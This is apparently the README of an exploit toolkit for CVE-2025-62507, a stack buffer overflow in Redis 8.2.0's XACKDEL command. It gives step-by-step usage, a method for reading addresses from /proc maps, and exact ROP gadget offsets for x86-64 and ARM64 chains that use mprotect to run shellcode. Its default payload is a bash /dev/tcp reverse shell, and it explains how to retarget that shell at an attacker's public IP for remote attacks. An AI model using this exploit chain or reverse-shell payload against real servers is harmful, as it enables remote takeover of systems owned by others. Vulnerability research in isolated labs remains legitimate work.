
Scripts d'exploitation pour CVE-2025-62507, un dépassement de tampon sur la pile dans Redis 8.2.0. Fournit des exploits de chaînes ROP pour x86-64 et ARM64 avec génération de shellcode pour des shells inversés, incluant le support du débogage GDB et un environnement vulnérable basé sur Docker.
scripts/
├── exploit_x86.py # x86-64 ROP exploit
├── exploit_arm64.py # ARM64 (AArch64) ROP exploit
└── gdb_with_symbols.sh # GDB 调试辅助脚本
| Élément | Description |
|---|---|
| CVE | CVE-2025-62507 |
| Type de vulnérabilité | Dépassement de tampon de pile (Stack Buffer Overflow) |
| Composant affecté | Fonction xackdelCommand de Redis 8.2.0 |
| Méthode de déclenchement | Commande XACKDEL avec plus de 52 streamID |
| Technique d'exploitation | Chaîne ROP → mprotect déverrouille la permission d'exécution de la pile → shellcode reverse shell |
| Dépendances | Python 3 (bibliothèque standard uniquement, aucune installation supplémentaire nécessaire) |
nc -lvnp 4444 à l'avance pour attendre le reverse shell/proc/<PID>/maps du processus cible (privilèges root)socket, struct, time, sys)# Dans le répertoire racine du projet
docker compose -f docker-compose-vulnerable.yml up -d
# Vérifier que le conteneur tourne
docker ps | grep redis-cve-2025-62507
REDIS_PID=$(docker top redis-cve-2025-62507 | grep redis-server | grep -v bash | awk '{print $2}')
# Obtenir les adresses x86-64
REDIS_BASE=$(sudo cat /proc/$REDIS_PID/maps | grep -w redis-server | head -1 | cut -d'-' -f1)
LIBC_BASE=$(sudo cat /proc/$REDIS_PID/maps | grep libc.so | head -1 | cut -d'-' -f1)
STACK_ADDR=$(sudo cat /proc/$REDIS_PID/maps | grep -w stack | head -1 | cut -d'-' -f1)
echo "REDIS_BASE=$REDIS_BASE LIBC_BASE=$LIBC_BASE STACK_ADDR=$STACK_ADDR"
Remarque : Les adresses changent à chaque redémarrage du conteneur (ASLR), il faut les ré-obtenir.
# Ouvrir un autre terminal sur l'hôte
nc -lvnp 4444
# x86-64
python3 scripts/exploit_x86.py 0x$REDIS_BASE 0x$LIBC_BASE 0x$STACK_ADDR
# ARM64 (adresses fixes Docker QEMU, ASLR=OFF)
python3 scripts/exploit_arm64.py 0xaaaaaaaa0000 0xfffff7630000 0xfffffffff7e0 [rev_host] [rev_port] [target]
python3 scripts/exploit_x86.py <redis_base> <libc_base> <stack_addr>
| Paramètre | Signification | Méthode d'obtention | Exemple de valeur |
|---|---|---|---|
redis_base | Adresse de base de l'ELF redis-server | Adresse de début de la première section de redis-server dans /proc/PID/maps | 0x555555554000 |
libc_base | Adresse de base de libc.so.6 | Adresse de début de la première section de libc.so dans /proc/PID/maps | 0x7ffff75b3000 |
stack_addr | Adresse de début du segment de pile du thread | Adresse de début du segment [stack] dans /proc/PID/maps | 0x7ffffffde000 |
52 个填充 ID (1-1)
│
▼
ID#53 overflow ──→ pop rdi; ret (redis + 0x82327)
ID#54 ──→ pop rsi; ret (redis + 0x86416)
ID#55 ──→ pop rdx; ret (redis + 0xba1e2)
ID#56 ──→ mprotect() (libc + 0x1019e0)
ID#57 ──→ call rsp (redis + 0x9486d)
ID#58+ ──→ shellcode ──→ system("/bin/bash -c '...'")
| Gadget | Décalage | Description |
|---|---|---|
pop rdi; ret | 0x82327 | Définit le 1er paramètre de mprotect (addr) |
pop rsi; ret | 0x86416 | Définit le 2ème paramètre de mprotect (len) |
pop rdx; ret | 0xba1e2 | Définit le 3ème paramètre de mprotect (prot) |
call rsp | 0x9486d | Saute vers le shellcode sur la pile |
mprotect (libc) | 0x1019e0 | Déverrouille la page de pile en RWX |
system (libc) | 0x4c490 | Exécute la commande du reverse shell |
La variable reverse_shell_cmd est définie à la ligne 149 du script, la valeur par défaut est :
reverse_shell_cmd = "/bin/bash -c '/bin/bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'"
Méthode de modification : éditez exploit_x86.py, trouvez la ligne reverse_shell_cmd et remplacez l'IP et le port :
| Scénario | IP | Description |
|---|---|---|
Réseau Docker host (par défaut) | 127.0.0.1 | Le conteneur partage la pile réseau avec l'hôte, 127.0.0.1 est l'hôte |
Réseau Docker bridge | 172.17.0.1 | Passerelle du pont par défaut, pointe vers l'hôte |
| Attaque à distance | <IP publique de l'attaquant> | La cible doit pouvoir router vers le port correspondant de l'attaquant |
Modification du port : remplacez 4444 dans /dev/tcp/<IP>/4444 par le port d'écoute réel.
stack_pageest calculée dynamiquement à partir du paramètrestack_addr:(stack_addr + 0x1000) & ~0xFFF, garantissant que la fenêtre mprotect couvre la zone de pile où se trouve le shellcode. Si la disposition de la pile est anormale, ajustez en conséquence.
python3 scripts/exploit_arm64.py <redis_base> <libc_base> <stack_addr> [rev_host] [rev_port] [target]
| Paramètre | Signification | Méthode d'obtention | Exemple de valeur |
|---|---|---|---|
redis_base | Adresse de base de l'ELF redis-server-8.2.0-arm64 | Adresse de début de la première section de redis-server dans /proc/PID/maps | 0xaaaaaaaa0000 |
libc_base | Adresse de base de libc.so.6-arm64 | Adresse de début de la première section de libc.so dans /proc/PID/maps | 0xfffff7630000 |
stack_addr | Valeur de SP à l'entrée de xackdelCommand (d'après l'analyse GDB) | Observer SP à l'entrée de xackdelCommand avec un point d'arrêt GDB | 0xfffffffff7e0 |
rev_host | (Optionnel) IP de l'attaquant pour le reverse shell | — | 192.168.1.1 |
rev_port | (Optionnel) Port d'écoute du reverse shell | — | 4444 |
target | (Optionnel) IP du Redis cible | — | 192.168.1.129 |
Attention ARM64 :
stack_addrest la valeur SP à l'entrée dexackdelCommand(pas l'adresse de début de la section[stack]!).static_ids[0] = stack_addr - 0x310, le x30 sauvegardé decall()se trouve àstack_addr + 8(soitstatic_ids[49].seq).
49 个填充 ID (1-1)
│
▼
ID#49-58 call() 尾声帧 (10 IDs) — 覆盖 call() 保存的寄存器和局部变量
│ #49: saved x29 (dummy) + x30 (G5)
│ #50: saved x19/x20, #51: saved x21(=0)/x22
│ #52: x23/x24, #53: x25/x26, #54: x27/x28
│ #55-58: 局部变量 (设为 0)
│
▼ call() ret → SP = stack_addr + 0xa0
│
ID#59-61 Step 1: G5 (redis + 0x1a4d40) x0=writable, → G_SET_X2_7
ID#62-65 Step 2: G_SET_X2_7 (redis + 0x1d7a84) w2=7, → LDR_X1_SIDELOAD
ID#66-67 Step 3: LDR_X1_SIDELOAD (libc + 0x34ab4) x1=0x1000, → G5
ID#68-70 Step 4: G5 (redis + 0x1a4d40) x19=mprotect, → MOV_X3_X19
ID#71-93 Step 5: MOV_X3_X19 (redis + 0x2948b0) x3=mprotect, → LDR_X0_CLEAN
ID#94-95 Step 6: LDR_X0_CLEAN (libc + 0x6ae40) x0=stack_page, → BLR_X3
ID#96-98 Step 7: BLR_X3 (redis + 0x92bc4) call mprotect → shellcode
ID#99+ shellcode — system("/bin/bash -c 'reverse_shell_cmd'")
Clé : L'épilogue de
call()restaure x19-x28 et lit plusieurs variables locales depuis la pile avantret. Les ID#49-58 doivent contenir des valeurs sûres, sinon l'épilogue plantera pendant l'exécution. La chaîne ROP commence à partir de ID#59 (position SP après le ret decall()).